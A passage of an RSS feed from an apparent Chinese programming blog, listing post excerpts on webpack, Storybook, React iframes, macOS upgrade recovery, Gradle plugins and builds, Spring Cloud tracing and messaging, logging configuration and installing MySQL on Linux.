需要打包的代码路径，入口文件，webpack会从改入口文件不断延伸查找所需依赖 output: { // 打包完成输出的配置 libraryTarget: &#39;umd&#39;, //类库加载方式 filename: &#39;bundle.js&#39;, // 输出的文件名 path: path.join(__dirname, &#39;example&#39; ,&#39;dist&#39;) // 输出的文件夹 }, module: { rules: [ { test: /\.</description>
    </item>
    <item>
      <title>vue3 配置storybook报错 ： Cannot find module ‘vue/dist/vue.esm.js‘</title>
      <link>https://bchobby.github.io/posts/018d0b32bbe1928b1a27a8aedc572eac/</link>
      <pubDate>Thu, 16 Dec 2021 12:45:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/018d0b32bbe1928b1a27a8aedc572eac/</guid>
      <description>前言 之前想让自己的组件库更完善所以配置jest,搞了好久，在解析jsx语法中的slots.default!()这句话是就报错，最终搁置了，今天想让自己的组件库添加storybook,感觉被官网坑了一上午，不过好歹成功了&#xA;报错产生原因 Cannot find module ‘vue/dist/vue.esm.js’&#xA;我就是按照官网执行了初始化命令&#xA;初始化的时候没报错&#xA;结果一执行下一步 npm run storybook&#xA;就出现了此问题&#xA;、&#xA;解决方法 后来 搜谷歌&#xA;地址：https://github.com/storybookjs/storybook/issues/10654&#xA;我直接把node moudules删掉重来 npm i&#xA;执行&#xA;npx sb@next init 重新初始化ok了&#xA;注意你的package.json&#xA;vue3 不能没有3 不然不是一个东西</description>
    </item>
    <item>
      <title>react中使用Iframe嵌入HTML页面</title>
      <link>https://bchobby.github.io/posts/22cca54b9194630c08d47c5a05c7b07f/</link>
      <pubDate>Thu, 16 Dec 2021 11:28:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22cca54b9194630c08d47c5a05c7b07f/</guid>
      <description>react中使用Iframe 安装 react-iframe插件父组件掉用子组件iframe向父组件传递数据(我用的是jq写的iframe页面) 安装 react-iframe插件 import React from &#34;react&#34;; import ReactDOM from &#34;react-dom&#34;; import Iframe from &#34;react-iframe&#34;; export default class FrameLoader extends React.Component { constructor(props) { super(props); this.state = { iFrameHeight: this.props.height ? this.props.height : 0,&#x9;// 设置iframe的高度 }; } componentDidMount() {} render() { return ( &amp;lt;Iframe onLoad={() =&amp;gt; { const obj = ReactDOM.findDOMNode(this); this.setState({ iFrameHeight: obj.contentWindow.document.body.scrollHeight + &#34;px&#34;, }); }} frameBorder=&#34;0&#34; height=&#34;100%&#34; width=&#34;100%&#34; position=&#34;absolute&#34; scrolling=&#34;no&#34; // 接收到的 Iframe 的URL地址 url={this.</description>
    </item>
    <item>
      <title>一次macOS的升级填坑（macOS Catalina - macOS Monterey）</title>
      <link>https://bchobby.github.io/posts/8d026b4432bd5e56eb63bc4730a2fb2b/</link>
      <pubDate>Thu, 16 Dec 2021 00:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d026b4432bd5e56eb63bc4730a2fb2b/</guid>
      <description> 目录 小序一、升级前操作二、升级中三、问题填坑1、像我一样长时间卡在一个进度条怎么办2、在更新途中重启过电脑（完整流程填坑）3、安装之后不能开机，如何紧急拷贝资料4、安装不成功，如何重新安装系统5、找客服 四、总结 小序 在开始唠叨之前，请先容我唠叨一下事情的经过。在 2021 年 6 月 7 日的苹果 WWDC 开发者大会上发布macOS Monterey，本着尝鲜的态度，想要去体验一波（说实话在之前压根没看更新了啥内容，因为我这个本子从买来之后就一直没升过级，版本很落后，界面很low，就想升级一下版本，再加上从某哩某哩听了某个大佬的一顿吹捧，我踏上了一条不归路）。而且还是没有任何准备的内种，本以为和iphone升级一样，等一等就好了，可是！它变成了这个样子，卡在了这里，一动不动。接下来我会从升级成功的角度，教大家怎么做。&#xA;一、升级前操作 **错误示范：**先看一下我的本子配置，在升级之前，没有多想，因为我这个本子相对来说比较新，就直接开始升级了。流程大概就是，在自己的系统偏好设置里面下载了最新的系统，然后直接重启更新。&#xA;正确示范：&#xA;应该先去官方了解是否需要更新，如果更新的内容你八百年都用不到，那我建议你打消这个念头。比如我想要用到XCode这个软件，但是发现他现在只支持11.3以上的mac系统，而我的是10.15，这也是我升级的原因之一。苹果的官网还是比较全面的，你去搜一下系统的名字就可以找到对应的更新点了。例如：macOS Monterey你应该了解你的硬件设施是否支持此次更新，比如你用了一台骨灰级别的mac，现在想要更新最新的系统，这就好比有了窜天猴想造火箭，比登天还难。同样这个信息也可以在官网中查找到。&#xA;去某哩某哩或某SDN上找找前人的填坑经历，很有用，先看完，了解到你可能遇到的风险及解决方案，然后再去做。去一个网络好的环境，最好是家里内种WIFI，切记不要公司内网，也不要连网线。断掉一切外界设备，例如，显示器外屏，转接口等，不要断电源哦，要保持电源畅通。备份自己的资料。很重要！很重要！很重要！如果你只有一个mac电脑，没有iphone和其他苹果设备，请记得抄一下序列号，或者找到装mac电脑的盒子（有序列号），方便最后实在没办法去找客服。 二、升级中 错误示范：&#xA;看见自己的电脑卡着不动了，就想重启它把它放在一边不管 正确示范：&#xA;偶尔看一下自己的电脑，让自己的电脑不要熄灭。即使遇到卡顿，长时间不动也不要管他。尤其是大版本升级，会有可能长时间卡到一个点，就比如我这个从10-12，本来升级就需要更多的时间，结果心急重启了。 三、问题填坑 1、像我一样长时间卡在一个进度条怎么办 如果时间在一个小时之内，我觉得你可以再等等，因为考虑到网络延迟、电脑硬件等问题确实会造成更新版本卡顿的问题。如果像我一样手贱重启过电脑，那你可能需要进行下一步操作（请看第2点） 2、在更新途中重启过电脑（完整流程填坑） 首先，恭喜你，你离一块砖很近了！其次，先不要想让自己的电脑恢复如初了，先要想一下自己的电脑里有没有什么贵重的资料、种子什么的。如果有，那么请问是否备份，如果没备份，那么再次恭喜你，和我一样了，请按如下步骤操作：&#xA;1、把电脑关机。&#xA;2、同时按住电脑右shift（为什么是右shift？因为左shift没试过。）和电源开机键不要撒手，观看是否能开开机。按照上述操作是打开了苹果的安全模式，如果能开开机，说明你这个电脑只是简单的没有装上系统，一会可以重新装一下。如果不能开机，那么恭喜你，去找客服吧（请见第5点）&#xA;3、能开开机的情况下，你可以耐心的去把自己的电脑按提示操作好（其实就是和一开始买机子一样，选择语言注册账号，巴拉巴拉的，不过需要提示的是，安全模式会非常非常卡，这很正常，需要你保持一个良好的心…态）&#xA;4、打开安全模式的目的其一在于校验你这个电脑是否不可由你操作（自己能不能搞定），其二在于可以进入系统拷贝资料（如果已经备份，可忽略4、5点）。因为进入安全模式的情况下，你的磁盘是没被格式化的，拷贝资料的目的在于以防后续更新系统之后，丢失文件（有一定几率）。至于怎么找到资料，可以通过前往-&amp;gt;电脑-&amp;gt;磁盘-&amp;gt;用户-&amp;gt;具体你自己的用户来找到（因为macOS和linux都是秉承着一切皆文件的思想去管理你的东西，所以可以在文件中找到对应的信息）。&#xA;5、然后进入下一步，拷贝资料。首先安全模式是不能识别外接U盘等设备的，所以不能通过硬件设备拷，方法一：通过邮件，将你的文件打包发出去。方法2:下载能够上传文件的软件，比如阿里云盘（不限速）、百度网盘等，这个前提是你知道系统管理员的账号和密码，能够下载软件。如果和我一样手贱将管理员和普通用户搞的乱七八糟，那你只能通过其他方法了。方法3：可以通过移动硬盘当启动盘，然后在插入U盘将你的文件拷走。（我没试过，但是很肯定能用）&#xA;6、开始准备重新装系统。把自己的电脑关机，将 Mac 开机并立即按住 Command (⌘)-R，直至看到 Apple 标志或其他图像。然后稍等片刻你可以看到如下场景：&#xA;同样，如果你有备份，可以选择从时间机器恢复。如果和我一样，没有备份，那你可以尝试点击第二个重新安装系统。需要注意的是，选择第二个有可能会失败。如果和我一样失败了，那么恭喜你可以进行下一步了。附：官方重新安装macOS&#xA;7、重复操作6中的开机操作，选择第四项，抹掉磁盘，然后重装系统，如下图。&#xA;8、经过漫长的等待，你也许成功了，如果没有，那么你可能需要找客服了。 3、安装之后不能开机，如何紧急拷贝资料 参考第二点中（12345小点），打开安全模式并备份或插入U盘当启动盘备份。 4、安装不成功，如何重新安装系统 参考第二点中（6小点），重新安装macOS或重新安装macOS 5、找客服 首先，在苹果官网找到对应的问题&#xA;其次，然后填入自己的序列号。填邮箱，手机号，姓氏，姓名等信息。尽可能打电话，因为更简单。PS：客服小姐姐态度非常好，而且很专业。&#xA;四、总结 其实还有一种用mac重装mac系统的方法没有展示，因为需要另外准备一台电脑然后下载Apple Configurator2进行重装。&#xA;不打无准备的仗，不要想一出是一出，不要过于信赖机器。及时拷贝资料，安装。或找专业人士安装才是正道。不懂就去多百度，也就是因为在网上找不到我这种例子，我才去写这个玩意。可以去苹果官网转转，因为苹果的生态还是比较健全，服务也比较好，毕竟钱摆在这里了。接下来会连续发一些环境或软件的安装，毕竟我只拷贝了重要资料，其他的app都丢了。在日常开发，尽量要登录账号，然后上到云端，这个时候你重装软件只需要登个账号就都解决了 </description>
    </item>
    <item>
      <title>自定义Gradle插件实现打包上传到蒲公英</title>
      <link>https://bchobby.github.io/posts/52a02a0ef802d3315da59be69085e576/</link>
      <pubDate>Wed, 15 Dec 2021 17:28:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52a02a0ef802d3315da59be69085e576/</guid>
      <description>上一篇文章提到了关于如何写Gradle自定义插件Plugin，本篇文件介绍下如何写gradle插件实现打包上传到pgy。&#xA;要实现打包上传到蒲公英必须要弄清楚以下问题：&#xA;1、什么时候打包完成？监听到打包完成才能执行下一步的上传操作&#xA;Gradle的打包也是一组组的Task任务，每个任务都有一个dependsOn()方法，我们只要在Assemble打包任务执行完了以后，再执行就可以了，即让我们的上传任务dependsOn打包任务就可以了。&#xA;2、怎么上传？&#xA;蒲公英api文档：http://www.pgyer.com/doc/api#uploadApp&#xA;3、build.gradle文件内配置的参数怎么获取？&#xA;通过org.gradle.api.Project这类获取。Project是支持扩展的，我们可以自定义一个Extension的数据类型，作为Project的一个扩展。&#xA;在Project里面有个回调方法afterEvaluate()，它会在构建完成后执行。我们需在这个方法里，获取自定义的Extension就可以了，即执行：project.getExtensions().create(PLUGIN_EXTENSION_NAME, PGYExtension.class)&#xA;先看下工程目录：&#xA;具体实现：&#xA;1、包含配置参数的模型：&#xA;package com.shengqf.plugin; import org.gradle.api.Project; public class PGYExtension { public String uKey; public String apiKey; public String installType; //1：公开，2：密码安装，3：邀请安装。默认为1公开 public String password; 安装密码 public String updateDescription; //版本更新描述，请传空字符串，或不传 public PGYExtension() { } public PGYExtension(String uKey, String apiKey, String installType, String password, String updateDescription) { this.uKey = uKey; this.apiKey = apiKey; this.installType = installType; this.password = password; this.updateDescription = updateDescription; } public static PGYExtension getConfig(Project project) { PGYExtension extension = project.</description>
    </item>
    <item>
      <title>给定一个整数数组和目标值，在该数组找出和为目标值的两个整数并返回下标</title>
      <link>https://bchobby.github.io/posts/b560987474c36511ca2f7c70abea6872/</link>
      <pubDate>Wed, 15 Dec 2021 16:07:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b560987474c36511ca2f7c70abea6872/</guid>
      <description>#include&amp;lt;iostream&amp;gt; using namespace std; #include&amp;lt;vector&amp;gt; class sum { public: void two(vector&amp;lt;int&amp;gt;p, int dst) { for (int i = 0; i &amp;lt; p.size(); i++) { for (int j = 0; j &amp;lt;i; j++) { if (i != j) { int sum = p[i] + p[j]; if (sum == dst) { cout &amp;lt;&amp;lt; &#34;目标元素1：&#34; &amp;lt;&amp;lt; p[i] &amp;lt;&amp;lt; &#34;\t下标：&#34; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl; cout &amp;lt;&amp;lt; &#34;目标元素2：&#34; &amp;lt;&amp;lt; p[j] &amp;lt;&amp;lt; &#34;\t下标：&#34; &amp;lt;&amp;lt; j &amp;lt;&amp;lt; endl; } } } } } }; void test() { vector&amp;lt;int&amp;gt;p; p.</description>
    </item>
    <item>
      <title>gradle打包流程（一）--- 整体把控</title>
      <link>https://bchobby.github.io/posts/6761fbcfdead69f2b7c1e29ecff1218f/</link>
      <pubDate>Wed, 15 Dec 2021 16:03:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6761fbcfdead69f2b7c1e29ecff1218f/</guid>
      <description> 前言： 关于gradle打包流程，大的可以分为以下几个方面：&#xA;一、对gralde打包流程的整体把控。&#xA;二、对gradle的进一步理解，这其中包括：gradle到底是什么，gradle的项目层次结构，gradle的一些依赖指令，gradle wrapper，自定义task，手写插件。&#xA;三、对gradle的深入分析，这其中包括：gradle的主要task分析等等。&#xA;这篇文章先说下对gradle打包流程的整体把控。&#xA;Android构建系统编译应用资源和源代码，然后将它们打包成可测试、部署、签署和分发的APK或Android App Bundle。&#xA;我们使用Android Studio开发的时候，使用gradle构建工具包来自动执行和管理构建流程，同时也可以&#xA;灵活地自定义构建配置。&#xA;Gradle和Android插件是独立于Android Studio运行的，所以我们除了可以在Android Studio上构建Android应用外，还可以通过命令行构建Android应用。&#xA;构建流程图： 编译器将源代码转换成DEX文件（Dalvik可执行文件，其中包括在Android设备上运行的字节码），并将其他所有内容转换成编译后的资源。打包器将DEX文件和编译后的资源组合成APK或AAB。必须先为APK或者AAB签名，然后才能将应用安装到Android设备或分发到Google Play等应用商店。打包器使用调试或发布密钥库为APK或AAB签名。在生成最终APK之前，打包器会使用zipalign工具（zipalign 是一种 zip 归档文件对齐工具。它可确保归档中的所有未压缩文件相对于文件开头都是对齐的。）对应用进行优化，以减少其在设备上运行时所占用的内存。 build配置文件： Android Studio会与Android Plugin for Gradle这个构建工具包协作，当我们在Android Studio中开始一个新项目时，会自动创建一些文件，并为其填充合理的默认值。Android应用模块的默认项目结构如下：&#xA;创建自定义build配置需要对这些build配置文件（即build.gradle文件）做出更改。这些纯文本文件使用领域特定语言（DSL）以Groovy描述和操作构建逻辑。其中Groovy是一种适用于Java虚拟机（JVM）的动态语言。&#xA;Gradle设置文件（settings.gradle文件）位于项目的根目录下，用于指示Gradle在构建应用时应将哪些模块包含在内。对于多模块项目需要指定应包含在最终build中的每个模块。顶层构建文件（顶层build.gradle文件）位于项目的根目录下，用于定义适用于项目中所有模块的构建配置。默认情况下，顶层构建文件使用buildscript代码块定义项目中所有模块共用的Gradle代码库和依赖项。注意，模块的依赖项不要放在顶层build.gradle文件的buildscript中，而应该放在具体模块的build.gradle文件中。对于包含多个模块的项目，可能有必要在项目级别定义某些属性并在所有模块之间共享这些属性，为此，可以将额外的属性添加到顶层build.gradle文件内的ext代码块中。（当然，实际上我们应该避免这样做，因为这样会导致共享这些属性的模块相互结合，使得以后将模块作为独立项目导出更加困难。）模块级构建文件（模块级build.gradle文件）位于每个project/module/目录下，用于为其所在的特定模块构建设置。我们可以通过配置这些构建设置提供自定义打包选项（如额外的构建类型和产品变种），以及替换main/应用清单或顶层build.gradle文件中的设置。Gradle属性文件。Gradle还包含两个属性文件，它们位于项目的根目录下，可用于指定Gradle构建工具包本身的设置：gradle.properties和local.properties。我们可以在gradle.properties文件中配置项目全局Gradle设置，比如使用androidX(android.useAndroidX=true)。我们可以在local.properties文件中为构建系统配置本地环境属性，其中包括sdk.dir（SDK的路径）、ndk.dir（NDK的路径，不过此属性已被弃用，NDK的所有下载版本都安装在Android SDK目录下的ndk目录中）、cmake.dir（CMake的路径）、ndk.symlinkdir（在Android Studio 3.5及更高版本中，创建指向NDK的符号链接，该符号链接的路径可比NDK安装路径短） </description>
    </item>
    <item>
      <title>前端图片下载功能</title>
      <link>https://bchobby.github.io/posts/037181442e39bedf0947787eeca65a4f/</link>
      <pubDate>Wed, 15 Dec 2021 14:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/037181442e39bedf0947787eeca65a4f/</guid>
      <description>通过a标签download属性下载 .container { display: flex; } figure { display: flex; flex-direction: column; } img { width: 200px; } 复制代码 &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;figure&amp;gt; &amp;lt;figcaption&amp;gt;本地图片:&amp;lt;/figcaption&amp;gt; &amp;lt;img src=&#34;images/gao.jpg&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;a href=&#34;images/gao.jpg&#34;&amp;gt; 下载图片1 &amp;lt;/a&amp;gt; &amp;lt;/figure&amp;gt; &amp;lt;figure&amp;gt; &amp;lt;figcaption&amp;gt;远程图片:&amp;lt;/figcaption&amp;gt; &amp;lt;img src=&#34;https://ssyerv1.oss-cn-hangzhou.aliyuncs.com/picture/337f923e0cbd4b7b9a328135dec89c62.jpg?x-oss-process=image/resize,w_400&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;a href=&#34;https://ssyerv1.oss-cn-hangzhou.aliyuncs.com/picture/337f923e0cbd4b7b9a328135dec89c62.jpg?x-oss-process=image/resize,w_400&#34;&amp;gt; 下载图片2 &amp;lt;/a&amp;gt; &amp;lt;/figure&amp;gt; &amp;lt;/div&amp;gt; 复制代码 css和html代码如上,首先我们以File 协议打开页面,就是我们平时最常用的双击一个html文件自动打开的协议格式,类似于 file:///Users/xxx/Desktop/index.html 这种形式的.&#xA;点击下载图片就会直接在浏览器打开图片并显示,如下图:&#xA;同样的,假如我们启动一个http 服务器,以http 协议来打开页面,比如 vscode 安装了 Live Server 等插件,url格式类似于http://192.168.104.72:8080/index.html 这种形式的. 再次点击两个下载图片结果还是一样的,都是直接在浏览器中打开了.&#xA;那么我们有没有什么办法通过a标签来实现直接下载图片呢?有的,在MDN文档中提到了,a标签具有一个叫做 download 的属性.这个属性会指示浏览器去下载URL而不是导航到它.如果这个属性有一个值的话,比如 download=&#34;test.png&#34;,那么这个test.png 将作为下载下来的图片的图片名.但是这个属性仅适用于同源URL.至于同源URL是啥,这个就不在这里做详细的解释了,不清楚的同学去MDN 看看就明白了,说白了就是浏览器的同源策略.&#xA;到现在我们明白了,HTML5中a标签给我们提供了download 属性,就是让我们用来下载的.下面我们将此属性加入进去.修改后的代码如下,其余部分同上面保持一致,这里就不写出来了.&#xA;&amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>计算原矩阵Jaccard相似度和签名矩阵的Jaccard相似度</title>
      <link>https://bchobby.github.io/posts/9c2a752330bafa0921335d23774e5962/</link>
      <pubDate>Wed, 15 Dec 2021 07:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c2a752330bafa0921335d23774e5962/</guid>
      <description>M1和M4的Jaccard相似度为 3/6&#xA;M1和M2的Jaccard相似度为 1/7&#xA;M2和M4的Jaccard相似度为 2/5&#xA;Jaccard相似度是数所求两列中出现1的行数作为分母，都出现1的行数作为分子&#xA;基于A的签名矩阵为 [2 3 2 3]&#xA;基于B的签名矩阵为 [1 3 3 1]&#xA;基于C的签名矩阵为 [1 3 1 1]&#xA;所以签名矩阵S为 S1和S2的Jaccard相似度为0&#xA;S1和S4的Jaccard相似度为 2/3&#xA;S2和S4的Jaccard相似度为 1/3</description>
    </item>
    <item>
      <title>Java学习笔记 - 微服务的链路追踪</title>
      <link>https://bchobby.github.io/posts/5bc1bdd1b977f0350f30b4640fec7748/</link>
      <pubDate>Tue, 14 Dec 2021 23:12:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bc1bdd1b977f0350f30b4640fec7748/</guid>
      <description>Java学习笔记 - 微服务的链路追踪 1、微服务架构下的问题2、Spring Cloud Sleuth2.1 Sleuth简介2.2 相关概念2.3 链路追踪Sleuth入门案例 3、Zipkin的概述4、Zipkin Server的部署和配置5、客户端Zipkin+Sleuth整合6、基于消息中间件收集数据6.1 RabbitMQ的安装与启动6.2 服务端启动6.3 客户端配置 7、存储跟踪数据7.1 准备数据库7.2 配置启动服务端 1、微服务架构下的问题 在大型系统的微服务化构建中，一个系统会被拆分成许多模块。这些模块负责不同的功能，组合成系统，最终可以提供丰富的功能。在这种架构中，一次请求往往需要涉及到多个服务。互联网应用构建在不同的软件模块集上，这些软件模块，有可能是由不同的团队开发、可能使用不同的编程语言来实现、有可能部署在了几千台服务器，横跨多个不同的数据中心，也就意味着这种架构形式也会存在一些问题：&#xA;如何快速发现问题？如何判断故障影响范围？如何梳理服务依赖以及依赖的合理性？如何分析链路性能问题以及实时容量规划？ 分布式链路追踪（Distributed Tracing） 就是将一次分布式请求还原成调用链路，进行日志记录、性能监控，并将一次分布式请求的调用情况集中展示。比如各个服务节点上的耗时、请求具体到达哪台机器上、每个服务节点的请求状态等等。&#xA;目前业界比较流行的链路追踪系统如：Twitter的Zipkin、阿里的鹰眼、美团的Mtrace、大众点评的cat等，大部分都是基于google发表的Dapper（http://bigbully.github.io/Dapper-translation/）。Dapper阐述了分布式系统，特别是微服务架构中链路追踪的概念、数据表示、埋点、传递、收集、存储与展示等技术细节。&#xA;2、Spring Cloud Sleuth 2.1 Sleuth简介 Spring Cloud Sleuth 主要功能就是在分布式系统中提供追踪解决方案，并且兼容支持了 zipkin，只需要在pom文件中引入相应的依赖即可。&#xA;2.2 相关概念 Spring Cloud Sleuth 为Spring Cloud提供了分布式追踪的解决方案，它大量借用了Google Dapper的设计。&#xA;先来了解一下Sleuth中的术语和相关概念，Spring Cloud Sleuth采用的是Google的开源项目Dapper的专业术语。&#xA;Span：基本工作单元，例如，在一个新建的span中发送一个RPC等同于发送一个回应请求给RPC，span通过一个64位ID唯一标识，trace以另一个64位ID表示，span还有其他数据信息，比如摘要、时间戳事件、关键值注释(tags)、span的ID、以及进度ID(通常是IP地址)，span在不断的启动和停止同时记录了时间信息，当你创建了一个span，你必须在未来的某个时刻停止它。&#xA;Trace：一系列spans组成的一个树状结构，例如，如果你正在跑一个分布式大数据工程，你可能需要创建一个trace。&#xA;Annotation：用来及时记录一个事件的存在，一些核心annotations用来定义一个请求的开始和结束。&#xA;Annotation介绍：&#xA;cs - Client Sent：客户端发起一个请求，这个annotion描述了这个span的开始。sr - Server Received：服务端获得请求并准备开始处理它，如果将其sr减去cs时间戳便可得到网络延迟。ss - Server Sent：注解表明请求处理的完成(当请求返回客户端)，如果ss减去sr时间戳便可得到服务端需要的处理请求时间。cr - Client Received：表明span的结束，客户端成功接收到服务端的回复，如果cr减去cs时间戳便可得到客户端从服务端获取回复的所有所需时间。 2.3 链路追踪Sleuth入门案例 接下来通过之前博客中的项目案例整合Sleuth，完成入门案例的编写。&#xA;（1） 配置依赖&#xA;修改相关微服务工程的pom.xml引入Sleuth依赖。&#xA;&amp;lt;!--sleuth链路追踪--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>第27课 老狼老狼几点钟 《小学生C&#43;&#43;趣味编程》</title>
      <link>https://bchobby.github.io/posts/e0596e772b1ae8ee7d0eeb17d6daef9f/</link>
      <pubDate>Tue, 14 Dec 2021 19:49:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0596e772b1ae8ee7d0eeb17d6daef9f/</guid>
      <description> #include &amp;lt;iostream&amp;gt; using namespace std; int main() { cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 1点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 2点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 3点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 4点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 5点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 6点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 7点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 8点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 9点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 10点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 11点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? 12点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;狼来了，快跑！&#34;&amp;lt;&amp;lt;endl; return 0; } #include&amp;lt;iostream&amp;gt; using namespace std; int main() { int i; for(i=1;i&amp;lt;=120;i++) { cout&amp;lt;&amp;lt;&#34;老狼老狼几点钟? &#34;&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&#34;点钟。&#34;&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;看谁跑的快!!&#34;&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;endl; } cout&amp;lt;&amp;lt;&#34;天黑了。&#34;&amp;lt;&amp;lt;endl; return 0; } </description>
    </item>
    <item>
      <title>SpringBoot日志配置-logback和log4j2</title>
      <link>https://bchobby.github.io/posts/47226982c66234d7d1d37665c31a3891/</link>
      <pubDate>Tue, 14 Dec 2021 17:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47226982c66234d7d1d37665c31a3891/</guid>
      <description>SpringBoot默认使用的 commons-logging 日志框架, 默认的日志输出级别: info&#xA;使用commons-logging 配置文件对日志的配置:&#xA;//只需要在配置文件中更改默认值 //设置日志输出级别为debug Debug=true //日志文件名，比如：suke.log，或者是 /var/log/suke.log logging.file=suke.log //设置目录 logging.path=/var/log //日志级别配置，比如： logging.level.org.springframework=DEBUG logging.level.*=info logging.level.org.springframework=DEBUG 不够灵活, 多环境切换的时候, 对日志文件经常进行修改&#xA;使用logback（推荐） spring boot默认会加载：classpath:logback-spring.xml&#xA;注意：如果logback的配置文件不叫:logback-spring.xml&#xA;// 如果日志配置文件名不是logback-spring.xml, 需要在springBoot配置文件中指明使用哪个文件 // logging.config=logback配置文件 logging: config: classpath:logback-demo.xml logback-spring.xml ：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;!-- 文件输出格式 --&amp;gt; &amp;lt;property name=&#34;PATTERN&#34; value=&#34;%-12(%d{yyyy-MM-dd HH:mm:ss.SSS}) |-%-5level [%thread] %c [%L] -| %msg%n&#34; /&amp;gt; &amp;lt;!-- test文件路径 : 测试环境,日志保存路径 更改文件夹地址，文件夹不存在会自动创建**（更改）--&amp;gt; &amp;lt;property name=&#34;TEST_FILE_PATH&#34; value=&#34;d:/opt/hj/logs&#34; /&amp;gt; &amp;lt;!-- prod文件路径 ：生产环境 , linux系统--&amp;gt; &amp;lt;property name=&#34;</description>
    </item>
    <item>
      <title>linux安装mysql</title>
      <link>https://bchobby.github.io/posts/06e471e48040ca6452f54906d14c7af5/</link>
      <pubDate>Tue, 14 Dec 2021 17:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06e471e48040ca6452f54906d14c7af5/</guid>
      <description>linux版本mysql下载地址 文章目录 linux版本mysql下载地址1.安装lrzsz2.上传文件3.解压4.移动并修改权限5.创建数据目录并赋权限6.配置my.cnf7.初始化数据库8.修改root密码解决linux下无法输入中文字符 本用户使用centos8&#xA;1.安装lrzsz yum install -y lrzsz 2.上传文件 输入&#xA;rz 选择官网下载下来的包进行上传&#xA;3.解压 tar -zxvf mysql-5.7.26-linux-glibc2.12-x86_64.tar.gz 4.移动并修改权限 mv mysql-5.7.26-linux-glibc2.12-x86_64 /usr/local/mysql groupadd mysql useradd -r -g mysql mysql 5.创建数据目录并赋权限 mkdir -p /data/mysql chown mysql:mysql -R /data/mysql 6.配置my.cnf vim my.cnf&#xA;[mysqld] bind-address=0.0.0.0 port=3306 user=mysql basedir=/usr/local/mysql datadir=/data/mysql socket=/tmp/mysql.sock log-error=/data/mysql/mysql.err pid-file=/data/mysql/mysql.pid #character config character_set_server=utf8mb4 symbolic-links=0 explicit_defaults_for_timestamp=true 7.初始化数据库 ./mysqld --defaults-file=/usr/local/mysql/my.cnf --basedir=/usr/local/mysql --datadir=/data/mysql --user=mysql --initialize 8.修改root密码 查看root密码&#xA;cat /data/mysql/mysql.err 将mysql.server放置到/etc/init.d/mysql中&#xA;cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysql 启动</description>
    </item>
    <item>
      <title>SpringCloud-SpringCloud Bus服务总线的介绍(Day9)</title>
      <link>https://bchobby.github.io/posts/86773134ddafb401841ea6266207ab8e/</link>
      <pubDate>Tue, 14 Dec 2021 15:02:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86773134ddafb401841ea6266207ab8e/</guid>
      <description>Spring Cloud Bus服务总线 在微服务架构的系统中，通常会使用轻量级的消息代理来构建一个共用的消息主题，并让系统中所有微服务实例都连接上来。由于该主题中产生的消息会被所有实例监听和消费，所以称它为消息总线。在总线上的各个实例，都可以方便地广播一些需要让其他连接在该主题上的实例都知道的消息。&#xA;Spring Cloud Bus配合Spring Cloud Config使用可以实现配置的动态刷新。Spring Cloud Bus是用来将分布式系统的节点与轻量级消息系统链接起来的框架，它整合了Java的事件处理机制和消息中间件的功能。Spring Clud Bus目前支持RabbitMQ和Kafka消息队列中间件。&#xA;Config Client实例都监听MQ中同一个topic(默认是Spring Cloud Bus)。当一个服务刷新数据的时候，它会把这个信息放入到Topic中，这样其它监听同一Topic的服务就能得到通知，然后去更新自身的配置。&#xA;使用Spring Cloud Bus的两种方式 通知Config服务端 推荐使用·这种方式，我们仅通知Config服务端，服务端会同时通知所有的客户端进行配置的更新。这样的设置避免了依次调用客户端进行更新而产生工作量问题。&#xA;通知Config客户端(客户端传递) 不推荐使用这种方式，我们的客户端本来就有业务在运行，如果那个需要传递消息的客户端节点发生了宕机或其他的问题的话，我们的动态刷新就做不到全局。其次就是破坏了服务端各个节点的功能对等性，最后还有在服务进行迁移是，网络地址发生变化，就会增加更多的修改工作量。</description>
    </item>
    <item>
      <title>配置本地DNS服务器地址</title>
